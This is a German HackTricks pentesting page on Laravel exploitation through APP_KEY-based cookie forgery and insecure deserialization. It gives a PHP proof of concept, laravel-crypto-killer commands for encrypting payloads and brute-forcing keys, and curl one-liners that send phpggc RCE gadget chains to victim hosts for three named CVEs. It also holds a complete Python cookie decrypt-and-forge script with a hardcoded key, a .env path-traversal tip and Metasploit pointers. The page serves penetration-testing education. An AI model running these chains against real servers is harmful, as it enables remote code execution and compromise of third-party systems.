Laravel

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Laravel SQLInjection

Lesen Sie Informationen dazu hier: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Verschlüsselungsinternas (Laravel \u003e=5.6)

Laravel verwendet AES-256-CBC (oder GCM) mit HMAC-Integrität im Hintergrund (Illuminate\\Encryption\\Encrypter). Der rohe Chiffretext, der schließlich an den Client gesendet wird, ist Base64 eines JSON-Objekts wie:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) wird standardmäßig serialize() den Klartext, während decrypt($payload, $unserialize=true) automatisch unserialize() den entschlüsselten Wert. Daher kann jeder Angreifer, der den 32-Byte-Geheimschlüssel APP_KEY kennt, ein verschlüsseltes PHP-serialisiertes Objekt erstellen und RCE über magische Methoden (__wakeup, __destruct, …) erlangen.

Minimal PoC (Framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Injiziere den erzeugten String in jede verwundbare decrypt() Senke (Routenparameter, Cookie, Sitzung, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatisiert den gesamten Prozess und fügt einen praktischen bruteforce Modus hinzu:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Das Skript unterstützt transparent sowohl CBC- als auch GCM-Payloads und regeneriert das HMAC/Tag-Feld.


Reale verwundbare Muster

ProjektVerwundbare SenkeGadget-Kette
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN Cookie, wenn Passport::withCookieSerialization() aktiviert istLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session CookieLaravel/RCE15

Der Exploit-Workflow ist immer:

  1. Erhalten oder Brute-Force des 32-Byte APP_KEY.
  2. Erstellen einer Gadget-Kette mit PHPGGC (zum Beispiel Laravel/RCE13, Laravel/RCE9 oder Laravel/RCE15).
  3. Verschlüsseln des serialisierten Gadgets mit laravel_crypto_killer.py und dem wiederhergestellten APP_KEY.
  4. Übermitteln des Chiffretextes an die verwundbare decrypt()-Senke (Routenparameter, Cookie, Sitzung …), um RCE auszulösen.

Unten sind prägnante Einzeiler, die den vollständigen Angriffsweg für jede oben genannte reale CVE demonstrieren:

bash
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Da jede frische Laravel-Antwort mindestens 1 verschlüsseltes Cookie (XSRF-TOKEN und normalerweise laravel_session) setzt, leaken öffentliche Internet-Scanner (Shodan, Censys, … Millionen von Chiffretexten, die offline angegriffen werden können.

Wichtige Ergebnisse der von Synacktiv veröffentlichten Forschung (2024-2025):

  • Datensatz Juli 2024 » 580 k Tokens, 3,99 % Schlüssel geknackt (≈23 k)
  • Datensatz Mai 2025 » 625 k Tokens, 3,56 % Schlüssel geknackt
  • 1 000 Server sind weiterhin anfällig für das Legacy CVE-2018-15133, da Tokens direkt serialisierte Daten enthalten.

  • Hohe Schlüsselwiederverwendung – die Top-10 APP_KEYs sind hartcodierte Standardwerte, die mit kommerziellen Laravel-Vorlagen (UltimatePOS, Invoice Ninja, XPanel, …) ausgeliefert werden.

Das private Go-Tool nounours erhöht die AES-CBC/GCM Brute-Force-Durchsatzrate auf ~1,5 Milliarden Versuche/s und reduziert das Knacken des vollständigen Datensatzes auf <2 Minuten.

Laravel Tricks

Debugging-Modus

Wenn Laravel im Debugging-Modus ist, können Sie auf den Code und sensible Daten zugreifen.
Zum Beispiel http://127.0.0.1:8000/profiles:

Dies ist normalerweise erforderlich, um andere Laravel RCE CVEs auszunutzen.

.env

Laravel speichert die APP, die es verwendet, um die Cookies und andere Anmeldeinformationen zu verschlüsseln, in einer Datei namens .env, die über einen Pfad-Traversal unter: /../.env zugänglich ist.

Laravel zeigt diese Informationen auch auf der Debug-Seite an (die erscheint, wenn Laravel einen Fehler findet und aktiviert ist).

Mit dem geheimen APP_KEY von Laravel können Sie Cookies entschlüsseln und erneut verschlüsseln:

python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')

Laravel Deserialization RCE

Anfällige Versionen: 5.5.40 und 5.6.x bis 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Hier finden Sie Informationen über die Deserialisierungsanfälligkeit: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Sie können es testen und ausnutzen mit https://github.com/kozmic/laravel-poc-CVE-2018-15133
Oder Sie können es auch mit metasploit ausnutzen: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Eine weitere Deserialisierung: https://github.com/ambionics/laravel-exploits

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks